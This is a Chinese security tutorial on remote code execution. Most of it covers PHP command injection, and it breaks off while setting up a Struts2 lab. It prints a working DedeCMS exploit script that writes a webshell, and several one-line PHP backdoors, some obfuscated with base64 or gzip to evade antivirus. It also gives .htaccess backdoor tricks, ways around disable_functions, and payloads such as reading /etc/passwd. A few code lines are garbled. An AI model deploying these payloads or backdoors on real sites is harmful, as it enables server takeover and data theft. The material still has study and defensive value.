远程代码执行

远程代码执行

1.1 RCE(remote command/code execute)概述

  RCE 漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制 后台系统。

1.1.1 远程系统命令执行

  一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接 口,比如我们常见的路由器、防火墙、入侵检测等设备的 web 管理界面上
  一般会给用户提供一个 ping 操作的 web 界面,用户从 web 界面输入目标 IP,提交后, 后台会对该 IP 地址进行一次 ping 测试,并返回测试结果。 而,如果,设计者在完成该功能 时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而 让后台进行执行,从而控制整个后台服务器
  现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台" 进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们 运维部的系统测试一下,会有意想不到的"收获"-_-

1.1.2 远程代码执行

  同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行, 也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列 化等等。
  因此,如果需要给前端用户提供操作类的 API 接口,一定需要对接口输入的内容进行严 格的判断,比如实施严格的白名单策略会是一个比较好的方法。

1.2 命令执行模型

1.2.1 php 命令执行

1.2.1.1 浅析 PHP 命令注入攻击

  PHP 命令注入攻击漏洞是 PHP 应用程序中常见的脚本漏洞之一,国内著名的 Web 应用 程序 Discuz!、DedeCMS 等都曾经存在过该类型漏洞。本文描述了常见的 PHP 命令注入攻击 漏洞存在形式和利用方法,结合漏洞实例进行分析和漏洞利用,并针对如何防范 PHP 命令 注入攻击漏洞给出了可行的方法和建议。
  Command Injection,即命令注入攻击,是指由于 Web 应用程序对用户提交的数据过滤 不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至 Web 应用程序中, 并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。命令注入 攻击最初被称为 Shell 命令注入攻击,是由挪威一名程序员在 1997 年意外发现的,他通过构 造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单。下面我们 结合 PHP 语言的特性,对 PHP 命令注入攻击进行简要的分析和描述。

1.2.1.2 PHP 命令注入攻击

  PHP 命令注入攻击存在的主要原因是 Web 应用程序员在应用 PHP 语言中一些具有命令 执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。 例如,当黑客提交的数据内容为向网站目录写入 PHP 文件时,就可以通过该命令注入攻击 漏洞写入一个 PHP 后门文件,进而实施进一步的渗透攻击。

1.2.1.3 命令执行函数利用

  在 PHP 中,可以实现执行外部程序或函数的命令执行函数包括以下 5 个函数。
  
  1. System:system 函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函 数原型如下:
string system(string command, int &return_var)
  其中,command 是要执行的命令,return_var 存放执行命令的执行后的状态值。
  按照 PHP 程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与 Web 应 用程序进行交互,通过 Web 应用程序执行外部程序或系统命令,如 Web 应用程序员想通过 system 函数获取指定目录的文件内容,那么他可以通过构造如下代码实现。
<? 
$dir = $_GET["dir"]; 
if(isset($dir))
{ 
echo "<pre>"; 
system("ls -al".$dir); 
echo "</pre>"; 
} 
?>
  Web 应用程序员可以通过提交不同的 dir 内容来获取不同目录下的文件信息,但是黑客 可以通过使用下列 URL 来进行命令注入攻击:
file.php?dir=|cat /etc/passwd
  结果 system 函数执行的命令就变成如下内容:
System(‚ls –al|cat /etc/passwd‛);
  这个命令就会将/etc/passwd 文件中的内容反馈给黑客。 
  同样,构造 PHP 代码如下:
<? 
$cmd = $_GET["cmd"]; 
echo "<pre>"; 
system($cmd); 
echo "</pre>"; 
?>
  在浏览器中访问这个 PHP 文件,并提交 cmd 的内容为“net start”,黑客目的是通过命 令注入攻击查看 Web 服务器主机都开启了哪些服务,访问执行后返回的结果如下图所示:

  2. Exec:exec 函数可以用来执行一个外部的应用程序,函数原型如下:
string exec (string command, array &output, int &return_var)
  其中,command 是要执行的命令,output 是获得执行命令输出的每一行字符串, return_var 存放执行命令后的状态值。
  可以通过构造如下 PHP 代码进行测试:
<? 
$cmd = $_GET["cmd"]; 
$output = array(); 
echo "<pre>"; 
exec($cmd,$output); 
echo "</pre>"; 
while(list($key,$value)=each($output)) { 
echo $value."<br>";
}
?>
  3. Passthru:passthru 函数可以用来执行一个 UNIX 系统命令并显示原始的输出,当 UNIX 系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用 passthru 函数 来替代 system 与 exec 函数。Passthru 函数原型如下:
void passthru (string command, int &return_var)
  其中,command 是要执行的命令,return_var 存放执行命令后的状态值。 可以通过构造如下 PHP 代码进行测试:
<? 
$cmd = $_GET["cmd"]; 
echo "<pre>"; 
passthru($cmd); 
echo "</pre>"; 
?>
  4. Shell_exec:执行 shell 命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
  其中,command 是要执行的命令。 可以通过构造如下 PHP 代码进行测试:
<?
$cmd = $_GET["cmd"]; 
echo "<pre>"; 
shell_exec($cmd); 
echo "</pre>"; ?>
  5. ``运算符:与 shell_exec 功能相同,执行 shell 命令并返回输出的字符串。
  可以通过构造如下 PHP 代码进行测试:
<? 
$cmd = $_GET["cmd"];
$output = `$cmd`; 
echo "<pre>"; 
echo $output; 
echo "</pre>"; 
?>

1.2.1.4 Eval 注入攻击利用

  在 PHP 语言中,除了上述 5 种常见的命令执行函数可以导致命令注入攻击以外,还有 另外一种命令注入攻击方式,我们称之为 eval 注入攻击方式。Eval 函数会将参数字符串作为 PHP 程序代码来执行,用户可以将 PHP 代码保存成字符串的形式,然后传递给 eval 函数执 行。Eval 函数的原型如下:
Mixed eval(string code_str)
  Code_str 是 PHP 代码字符串,黑客可以通过构造传入 eval 函数中的全部或部分字符串 的内容实现命令注入攻击。
  为了测试 eval 命令注入攻击,我们构造 PHP 代码如下:
<? 
$cmd = $_GET["cmd"]; 
eval($cmd); 
?>
  然后我们提交 cmd 内容为“phpinfo();”,phpinfo 函数的作用是查看当前 php 环境相关 信息的函数。在浏览器中提交http://127.0.0.1/index.php?cmd=phpinfo();后,返回结果如下图 所示。


我们发现我们提交的字符串“phpinfo();”经过 eval 函数的处理后,可以按照 PHP 函数 进行执行,并将结果反馈给我们,那么执行相应的其他 PHP 函数,如写入文件,查询文件 信息等功能的代码字符串时,同样可以执行。
PHP 语言中的 preg_replace 函数、str_replace 函数以及 call_user_func 函数同样可以实现 eval 注入攻击的效果。这里我们以 preg_replace 函数作为例子进行描述,str_replace 函数以 及 call_user_func 函数实现的方法类似,大家可以参考网上对这两个函数的描述自行测试。 Preg_replace 函数的作用是用来执行常规表达式的查找和替换的,函数原型如下:

Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit,int &count)
  其中,Pattern 是用来查找的常规表达式,replacement 是用来替换的字符串,submit 是 要查找替换的字符串,limit 是可以替换的字符串数,count 是成功替换的数目。函数将返回 替换后的字符串,当 Pattern 参数使用/e 修正符时,preg_replace 函数会将 replacement 参数 当作 PHP 代码执行,那么,针对此种情况,当 replacement 内容为用户可控数据时,就可能 导致命令注入攻击漏洞的形成。为了测试 preg_replace 函数,我们构造 PHP 代码如下:
<? 
$string = "hello world"; 
$pattern = "/^/e";
echo preg_replace($pattern, $_GET["str"], $string); 
?>
  同样在浏览器中提交 http://127.0.0.1/index.php?str=phpinfo();,返回结果如下图所示, phpinfo()函数也被执行了。

1.2.1.5 漏洞实例分析

  通过上述对常见 PHP 命令注入攻击存在的情况,我们结合实际漏洞存在情况,分析一 下如何利用命令注入攻击漏洞。我们这里以国内著名的织梦网站管理系统(DeDeCMS)为例 进行描述。
  那年织梦官方网站提供下载的织梦 CMS(Dedecms) v5.7 sp1 版本中的 shopcar.class.php 文件被植入一句后门代码,如图所示:
@eval(file_get_contents('php://input'));


通过分析查看,我们发现代码插入的位置为类 MemberShops 的构造函数中,而插入的 代码正好是我们上面描述存在命令注入攻击的 eval 函数,那么执行的内容是否为可控内容 呢?php://input 是一个输入流,可以通过 POST 方式获取相应的原始数据内容,也就是说 eval 函数执行的内容可以通过构造 POST 数据包的方式进行控制,也就导致了命令注入攻击漏洞 的形成。那么,要如何利用这个漏洞实施攻击呢?后门代码出现在 MemberShops 类的构造 函数中,那么通过搜索程序中哪些地方使用了这个类就可以进行检测,最简单的方法就是找 到没有特殊条件直接执行 new 操作的页面就可以了。这里使用 plus 目录下的 car.php 文件, 如图所示。

在 car.php 文件的第 17 行代码处,我们发现了可以被我们利用的地方,那么结合我们刚 刚的分析,我们构造一个 POST 数据包,内容如下图所示。

这里我们插入的数据内容是“echo "Command Injection Test";”,当数据执行到 eval 函数 时,执行的相应操作为 eval(echo "Command Injection Test";);,echo 函数的功能是输出相应的字符串,那么我们就可以根据服务器返回的数据包中观察是否含有特征字符串“Command Injection Test”即可。当发现该字符串存在时,说明 echo 函数被执行了,也就说明命令注入 攻击漏洞利用成功。我们在本地测试环境中使用 NC 对上述构造的 POST 数据包进行提交, 返回的数据报文如下图所示。


从返回的数据内容中我们发现了我们定义的特征字符串“Command Injection Test”,也 说明了 echo 函数被执行了,该命令注入攻击漏洞可以被成功利用。但是,我们又如何更好 地利用这个命令注入攻击漏洞呢?简单输出一个字符串根本无法达到我们入侵渗透网站的 目的,那么我们继续尝试构造输入的命令信息,尝试写入一个 PHP 文件,也就可以成功获 取网站的 webshell。想写入文件,我们也就想到了 PHP 中的 fputs 函数,我们构造提交的数 据内容为“fputs(fopen('1.php','w+'),'');”,这句代码的作用是向目 录中写入一个 1.php 的文件,并且文件的内容为“”,这个也正是 我们常说的 PHP 一句话木马,为了实现该命令注入攻击漏洞利用的通用性,我们通过 PHP 构造一个漏洞利用程序,程序代码如下:

<?php 
if ($argc < 3) 
{ print_r(" +-------------------------------------------------------------------------- -+
Usage: php ".$argv[0]." host path Example: php ".$argv[0]." www.xxx.com /dedecms/ 
+-------------------------------------------------------------------------- -+ ");
exit;
} 
error_reporting(7);
ini_set("max_execution_time", 0); 
$host = $argv[1]; 
$path = $argv[2]; 
$cmd = "echo "exploitsuccess"; fputs(fopen('1.php','w+'),'<?php 
@eval($_POST[c])?>');"; 
$resp = send($cmd); 
if (eregi("exploitsuccess",$resp)) { 
echo "[+] Exploit Success!
"; 
echo "[+] Webshell: http://".$host.$path."plus/1.php
"; 
echo "[+] Webshell Password: c
"; 
}else{ 
echo "[-] Exploit failed!
"; 
} 
function send($cmd) { 
global $host, $path; 
$message = "POST ".$path."plus/car.php HTTP/1.1
";
$message .= "Accept: */*
"; $message .= "Referer: http://$host$path
"; 
$message .= "Accept-Language: zh-cn
"; $message .= "Content-Type: application/x-www-form-urlencoded
"; 
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
"; 
$message .= "Host: $host
"; $message .= "Content-Length: ".strlen($cmd)."
"; 
$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1; OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg
"; 
$message .= "Connection: Close

";
$message .= $cmd; 
$fp = fsockopen($host, 80); 
fputs($fp, $message);
 $resp = ''; 
while ($fp && !feof($fp)) 
$resp .= fread($fp, 1024); 
return $resp; 
}
?>
  该漏洞利用程序的作用是用户只需要将网站网站域名和 dedecms 的路径输入即可,程 序会自动实现漏洞利用,写入 webshell,并将相关信息进行反馈,对本地环境测试的结果如 下图所示:

  结果显示我们成功获取 webshell,连接地址为 http://127.0.0.1/dede/plus/1.php,密码为 c。使用工具连接该 webshell 地址可以成功连接并获取网站目录及文件的相关信息。

1.2.1.6 PHP 一个不为人知的命令执行特性

  PHP 把 ` ` 符号中间的字符当做系统命令执行,也就是说 echo `net user` 等价于 system(‘net user’)。也是利用 PHP 的这一个特性来执行命令留后门,算比较隐蔽,但是也 有一定的局限性。

1.2.1.7 php 命令执行小集

  代码
cmdexec20101201.php?cx=uname -a 
<pre><?$cx1=$_GET[cx];echo `$cx1`;?><pre>
  register_global=on,可以用下面的简化版:
<pre><?=`$cx`?></pre> 
cmdexec20101201.php?cx2=ver 
<pre><?=`$_GET[cx2]`?></pre>
  ob_start
<?php 
//http://php.net/manual/en/function.ob-start.php 
$cmd="system"; 
ob_start($cmd); 
echo "$_GET[cunlide]";
ob_end_flush();
  system
//http://php.net/manual/en/function.system.php 
system("$_GET[cunlide]");
  exec
//http:// www.xxx .com /manual/en/function.exec.php
echo exec("$_GET[cunlide]")
  shell_exec
//http://php.net/manual/en/function.shell-exec.php 
echo shell_exec("$_GET[cunlide]");
  passthru
//http://php.net/manual/en/function.passthru.php 
echo passthru("$_GET[cunlide]");
  ``
echo `$_GET[cunlide]`;
  整体代码
<?php 
$cmd="system";
ob_start($cmd); 
echo "$_GET[cunlide]"; 
ob_end_flush(); 
echo "<br>"; 
system("$_GET[cunlide]"); 
echo "<br>"; 
echo exec("$_GET[cunlide]"); 
echo "<br>"; 
echo shell_exec("$_GET[cunlide]"); 
echo "<br>"; 
echo passthru("$_GET[cunlide]");
echo "<br>"; 
echo `$_GET[cunlide]`; ?>

1.2.1.8 php 后门木马常用命令分析

  php 后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢? 
  php 后门木马常用的函数大致上可分为四种类型:
         执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 
         代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 
         文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 
         .htaccess: SetHandler, auto_prepend_file, auto_append_file

  执行系统命令:
        system 函数
//test.php?cmd=ls
system($_GET[cmd]);
        passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);
        shell_exec 函数
//test.php?cmd=ls 
echo shell_exec($_GET[cmd]);
        exec 函数
//test.php?cmd=ls 
$arr = array();
exec($_GET[cmd],$arr); 
print_r($arr);
        popen 函数
//test.php?cmd=ls 
$handle = popen('$_GET[cmd], 'r'); 
$read = fread($handle, 2096); 
echo $read;
pclose($handle);
        proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(
      0 => array('pipe', 'r'), 
      1 => array('pipe', 'w'), 
      2 => array('pipe', 'w'), 
      ); 
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); 
fclose($pipes[0]); 
$output = array(); 
while (!feof($pipes[1])) array_push($output, 
rtrim(fgets($pipes[1],1024),"
")); 
print_r($output);
  代码执行与加密:
  eval 函数
//最常见的一句话木马 
eval($_POST[cmd]);
  base64_decode 函数
//为了免杀及隐藏而加密代码 
//密文: eval($_POST['cmd']); 
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
  gzinflate 函数
//为了免杀及隐藏而加密代码 
//密文: eval($_POST['cmd']); 
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
  gzuncompress 函数
//为了免杀及隐藏而加密代码 
//密文: eval($_POST['cmd']); 
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')
));
  gzdecode 函数
//为了免杀及隐藏而加密代码 //密文: eval($_POST['cmd']); eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQ fAFAAAAA==')));
  str_rot13 函数
//为了免杀及隐藏而加密代码 
//密文: eval($_POST[cmd]); 
eval(str_rot13('riny($_CBFG[pzq]);'));
  assert 函数
//类似 eval 函数 
assert($_POST[cmd]);
  call_user_func 函数
//使用 call_user_func 调用 assert 
call_user_func('assert',$_POST[cmd]);
  call_user_func 函数
//使用 call_user_func 调用任意函数 
//test.php?a=assert&cmd=phpinfo() 
call_user_func($_GET[a],$_REQUEST[cmd]);
  组合代码
//组合方式调用任意函数 
//test.php?a=assert&cmd=phpinfo() 
$_GET[a]($_REQUEST[cmd]);
  文件包含与生成:
  require 函数
//包含任意文件 //test.php?file=123.jpg
require($_GET[file]);
  require_once 函数
//包含任意文件 
//test.php?file=123.jpg 
require_once($_GET[file]);
  include 函数
//包含任意文件 //test.php?file=123.jpg 
include($_GET[file]);
  include_once 函数
//包含任意文件 
//test.php?file=123.jpg 
include_once($_GET[file]);
  file_get_contents 函数
//读取任意文件 
//test.php?f=config.inc.php 
echo file_get_contents($_GET['f']);
  file_put_contents 函数
//生成任意内容文件 
//a=test.php&b=<?php eval($_POST[cmd]);?> 
file_put_contents($_GET[a],$_GET[b]);
  fputs 函数
//生成任意内容文件 
//a=test.php&b=<?php eval($_POST[cmd]);?> 
fputs(fopen($_GET[a],"w"),$_GET[b]);
  .htaccess:
/可将 php 代码存于非 php 后缀文件,例: x.jpg 
//将以下代码写入.htaccess 中
//连接 x.jpg 即可启动后门木马 
<FilesMatch "x.jpg"> 
SetHandler application/x-httpd-php 
</FilesMatch> 
auto_prepend_file 
//可将 php 代码存于非 php 后缀文件,例: 123.gif 
//将以下代码写入.htaccess 中, 文件路径必须是绝对路径 
//访问网站上任何 php 文件都会启动该 php 后门木马 
//可在不更改站点源代码的情况下记录所有$_REQUEST 的值,也可批量挂马 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file 
//类似 auto_prepend_file 
//可将 php 代码存于非 php 后缀文件,例: 123.gif 
//将以下代码写入.htaccess 中, 文件路径必须是绝对路径 
//访问网站上任何 php 文件都会启动该 php 后门木马 php_value auto_append_file c:/apache2/htdocs/123.gif

1.2.1.9 Webshell 下命令执行限制及绕过方法

  前言 
  上传 webshell 后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方 式,防守方也必须根据绕过方式想想更强的防御.

  php webshell 执行命令原理
  php webshell(以下简称 webshell)下是怎么执行系统命令的?我们找一个 webshell 分析下

  搜索关键字定位到以下代码
function execute($cfe) { 
      $res = ''; 
      if ($cfe) { if(function_exists('system')) {                  
            @ob_start();                 
            @system($cfe); 
      $res = @ob_get_contents();
             @ob_end_clean(); 
                  } elseif(function_exists('passthru')) {             
             @ob_start();          
            @passthru($cfe);
      $res = @ob_get_contents();
            @ob_end_clean(); 
            } elseif(function_exists('passthru')) {              
            @ob_start();          
            @passthru($cfe); 
      $res = @ob_get_contents(); 
            @ob_end_clean(); } elseif(function_exists('shell_exec')) { 
      $res = @shell_exec($cfe); 
            } elseif(function_exists('exec')) { 
            @exec($cfe,$res); 
      $res = join("
",$res); 
            } elseif(@is_resource($f = @popen($cfe,"r"))) { 
                  $res = ''; 
            while(!@feof($f)) { 
      $res .= @fread($f,1024);               
                   }             
             @pclose($f);
 }
      }
      return $res;
}
  即按顺利调用 system(),passthru(),shell_exec,exec,popen 函数成功调用就不再往下调用

1.2.1.10 禁止 webshell 执行命令原理

  php 配置文件里面有个 disable_functions = 配置,这个禁止某些 php 函数, 
  服务器便是用这个来禁止 php 的执行命令函数,
  例如 
  disable_functions =system,passthru,shell_exec,exec,popen   
  便禁止了用这些函数来执行系统命令

1.2.1.11 黑名单绕过

  知道了原理后,我们便能想出很多绕过的方式 
  首先是黑名单绕过 
  我们看看 php 下能够执行系统命令的函数有哪些
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引 号)
  那么便可以看看 php.ini 中的 disable_function 漏过了哪些函数。 
  然后 hack it. 
  曾经在给某大企业做渗透测试时,未禁用 assert 成功执行命令 
  乌云上的案例未禁用 proc_open 而引起
  http://www.wooyun.org/bugs/wooyun-2013-015991

解决方案:关注并收集 php 系统命令执行函数,补齐 disable_function 项。

1.2.1.12 系统组件绕过

  这个方法适用于 windows 看代码
<?php 
$command=$_POST[a]; 
$wsh = new COM('WScript.shell'); // 生成一个 COM 对象 
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令 
$stdout = $exec->StdOut(); 
$stroutput = $stdout->ReadAll(); 
echo $stroutput
?>
  Shell.Application 也可以实现同样的效果 
  彻底的解决方案是直接删除 System32 目录下 wshom.ocx 文件。

1.2.1.13 拓展库绕过

  Linux 下可通过编译拓展库进行绕过 
  网络上的方法及官方的方法都提示错误, 
  经过研究给出一种正确编译 PHP 拓展库的方法 
  首先得知 PHP 服务器 php 版本,下载个相同或相近版本的 php 源码包
tar zxvf php-5.3.10.tar.gz //解压缩 
cd php-5.3.10/ext 
./ext_skel--extname=dl //生成名为dl的拓展库 
cd dl 
vi config.m4
  将这三行
PHP_ARG_WITH(dl, for dl support, 
Make sure that the comment is aligned: 
[ --with-dl Include dl support])
  前面的 dnl 去掉并保存
whereis phpize //找出 phpize 路径 
/usr/local/bin/phpize // 运行 phpize 
vi dl.c
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) { return; }
  这一行下添加
system(arg); 
whereisphp-config //找出php-config的路径 
./configure --whith-php-config=php-config 路径 
make 
make install [root@TENCENT64 ~/php-5.3.10/ext/dl]# make install 
Installing shared extensions:
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/
  成功生成了 
  查看 php.ini 的 extension_dir 项 
  将
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
  拷贝到 extension_dir 目录下 
  若 extension_dir 目录无写权限则可写入任意目录用../../来绕过并调用。 
  利用代码:
<?php 
      dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用 
      confirm_dl_compiled("$_GET[a]>1.txt"); 
?>
  查看 1.txt 即可看到命令执行结果 
  防御方法:将 dl 函数加入 disable_function 中禁用 
  使用 PHP 突破 Disable_functions 执行 Linux 命令 
  linux 的 webshell 管理员禁用了 exec,system,passthru,popen,shell_exec 等等 PHP 执 行命令函数,导致不能执行命令 
  php 提供了一个扩展模块功能,使用 dl 函数能包含一个扩展模块。 
  类似.so 或者想 windows 下的 dll 文件。可以自定义函数来调用 linux 命令。无视 Disable_functions 限制。

  exploit:
<?php 
//PHP4 调用方法 dl(../../../../../home/apache/htdocs/php4.so); 
biguanspider(uname -a);//调用函数 
?> 

<?php
//PHP5 调用方法 
dl(../../../../../home/apache/htdocs/php5.so); 
spiderbiguan(uname -a);//调用函数 
?> 

<?php //PHP4 调用方法 
dl(../../../../../home/apache/htdocs/php4.so); 
biguanspider(uname -a);//调用函数 
?> 

<?php //PHP5 调用方法 
dl(../../../../../home/apache/htdocs/php5.so); 
spiderbiguan(uname -a);//调用函数 
?>

注意:dl 函数这个缺陷已经在高版本中修补了。

请1.2.1.14 PHP create_function()注入命令执行漏洞

  在 PHP 中使用 create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻 击者可以构造特殊字符串传递给 create_function()执行任意命令。
  以如下代码为例:
<?php 
//how to exp this code 
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp'; 
$databases=array('test','test'); 
$sort_function = ' return 1 * ' . 
$sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; 
$sort($databases, create_function('$a, $b', $sort_function)); 
?>
  代码中$sort_by 直接用$_GET 取值未做过滤,create_function()中的函数体部分 $sort_function 只是简单的字符串拼接,利用注入将我们的代码写进去。 
  这里我们首先测试将 phpinfo();注入到 create_function()的函数体部分$sort_function 中。 
  保存以上代码为 func.php,然后提交 func.php?sort_by="]);}phpinfo();/*执行结果如图所 示:


如图所示 phpinfo()函数执行了。
在具体分析细节之前,先说一下 create_function()。
create_function 返回一个字符串的函数名, 这个函数名的格式是:

"00_lambda_" . count(anonymous_functions)++
  我们来看看 create_function 的实现步骤:

 获取参数, 函数体;
 拼凑一个"function _lambda_func (参数) { 函数体;} "的字符串;
 eval;
 通过__lambda_func 在函数表中找到 eval 后得到的函数体, 找不到就出错;
 定义一个函数名:"00_lambda
" . count(anonymous_functions)++;
 用新的函数名替换__lambda_func;
 返回新的函数。
实 际 上 , create_functions 是 一 个 ZEND_FUNCTION, 它 被 定 义 在./Zend/zend_builtin_functions.c 中。

eval_code = (char *) emalloc(eval_code_length); 
sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", 
Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code)); 
eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC); 
retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
  可以看到这里只是简单利用 zend_eval_string 来生成匿名函数,此处"function " LAMBDA_TEMP_FUNCNAME "(%s){%s}",我们可以控制函数主体部分闭合前面的“{”,后面跟 上我们的 phpinfo()函数,将提交的参数 sort_by="]);}phpinfo();/*放到函数中去,如图所示:


可以看到提交 sort_by 参数中的“}”闭合生成的匿名函数的“{”,所以这里的 phpinfo() 会被 zend_eval_string 执行。
测试执行系统命令,如下所示:

Php 提权主要体现在命令提权章节里,大家可以自行参考

1.2.1.15 PHP 命令注入攻击漏洞的防范

  通过上面的分析和描述,我们发现 PHP 中命令注入攻击漏洞带来的危害和影响很严重。 防范命令注入攻击漏洞的存在可以通过以下几种方法。             
        1. 尽量不要执行外部的应用程序或命令。 
        2. 使用自定义函数或函数库实现外部应用程序或命令的功能。 
        3. 在执行 system、eval 等命令执行功能的函数前,确定参数内容。 
        4. 使用 escapeshellarg 函数处理相关参数。Escapeshellarg 函数会将任何引起参数或命令

结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“””会被转义为“””,分 号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面, 转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻 击的目的。
5. 使用 safe_mode_exec_dir 执行可执行的文件路径。将 php.ini 文件中的 safe_mode 设 置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可 执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。
PHP 命令注入攻击漏洞是 PHP 应用程序常见漏洞之一。国内著名的 PHP 应用程序,如 discuz!、dedecms 等大型程序在网络中均被公布过存在命令注入攻击漏洞,黑客可以通过命 令注入攻击漏洞快速获取网站权限,进而实施挂马、钓鱼等恶意攻击,造成的影响和危害十 分巨大。同时,目前 PHP 语言应用于 Web 应用程序开发所占比例较大,Web 应用程序员应 该了解命令注入攻击漏洞的危害,修补程序中可能存在的被黑客利用的漏洞情况,保护网络 用户的安全,免受挂马、钓鱼等恶意代码的攻击

1.3 框架执行漏洞

1.3.1 框架远程执行漏洞危害

   利用这个漏洞攻击者可以执行服务器上的命令。 
   可能会导致源代码等敏感信息泄露。 
   机密数据被窃取。 
   核心业务数据被篡改。 
   网页被篡改。 
   数据库所在服务器被攻击变为傀儡主机,甚至企业网被入侵。

1.3.2 Struts2 命令执行

1.3.2.1 Struts 框架实验环境部署

1.3.2.1.1 简介
  Struts2 是基于 MVC 设计模式的流行和成熟的 Web 应用程序框架。Struts2 并不只是 Struts 1 下一个版本,WebWork 框架开始了与 Struts 框架为基础,一段时间后,WebWork 框架和 www.oldboyedu.com  Struts社区联手打造著名的Struts2框架。但它是一个完全重写的Struts架构。是在 struts1 和 WebWork 的技术基础上进行了合并的全新的 Struts 2 框架。其目标是建立在 Struts 的 Web 开发更容易为开发人员提供了加强和改进的框架。其全新的 Struts 2 的体系结构与 Struts 1 的体系结构差别巨大。 Struts 2 以 WebWork 为核心,采用拦截器的机制来处理用户的请 求,这样的设计也使得业务逻辑控制器能够与 Servlet API 完全脱离开,所以 Struts 2 可以 理解为 WebWork 的更新产品。虽然从 Struts 1 到 Struts 2 有着太大的变化,但是相对于 WebWork,Struts 2 的变化很小。
1.3.2.1.2 环境搭建
  搭建 Struts2 环境时,我们一般需要做以下几个步骤的工作: 
  下载安装 tomcat 并配置 struts 框架,如何配置环境变量?配置过程中是否和作者一样 经常出现错误? 
  请仔细读文及注意事项。
1.3.2.1.3 实验环境准备

apache-tomcat-8.0.21-windows-i64.zip #版本不做限制,tomcat6-8 版本都可。
jdk-8u40-windows-x64.exe #依赖 Java 环境。
struts-2.3.15.1-all.zip #2013 年时期的 struts2 框架包含远程执行漏洞。
Struts2 漏洞实验环境.rar #部署 Struts2 漏洞实验代码环境用于漏洞代码测试。

1.3.2.1.4 方法/步骤
1.3.2.1.5 安装 JDK 和 Tomcat
  1,安装 JDK:直接运行 jdk-8u40-windows-x64.exe 可执行程序,默认安装即可。 
  备注:路径可以其他盘符,不建议路径包含中文名及特殊符号。 

  2、安装 Tomcat:直接解压缩下载文件“apache-tomcat-8.0.21-windows-i64.zip”到 C 盘 下。安装路径建议修改为:c:apache-tomcat-8.0.21-windows-i64。
    备注:如下载的是可执行文件,双击运行,默认安装即可。
1.3.2.1.6 Struts 2 环境配置
  下载安装 Struts2 类库: 
  现在,如果一切正常,那么你可以继续设置您的 Struts 2 框架。以下是简单的步骤,下 载并安装在机器上 Struts2。 
  下载最新版本的 Struts2 的二进制文件: http://struts.apache.org/download.cgi 
  配置 struts2 框架:解压 zip 文件中的任何位置,我下载和提取 struts-2.3.15.1-all.zip 在 c:盘文件夹中,把下载好的 struts2 框架包中的 lib 目录下的 jar 包解压到 tomcat 目录中的: “C:apache-tomcat-8.0.21lib”目录里。确保正确设置 CLASSPATH 变量,否则将出现错误问题, 选择 struts2 需要的必需 jar 文件。 
  这里有一个小技巧,就是到 struts2 的案例中,找到它里面引用的 jar,作一个参照,这 样就不会引起不关联的问题。 
1.3.2.1.7 部署漏洞环境的注意
  在写这篇教程的时候,由于当年 struts2 框架连续爆出漏洞,官方修补不严谨所造成的, 所以官方上的有漏洞的老版本 struts2 已经被官方删除不存在了,不然留着给不懂安全又不 细心的开发人员下载,那危害是很大的,所以我从网上搜索下载的是 struts-2.3.15.1-all.zip, 当解压下载的文件时,它有 struts-2.3.15.1-all.zip 如下的目录结构内。
  压缩包名称以及作用:

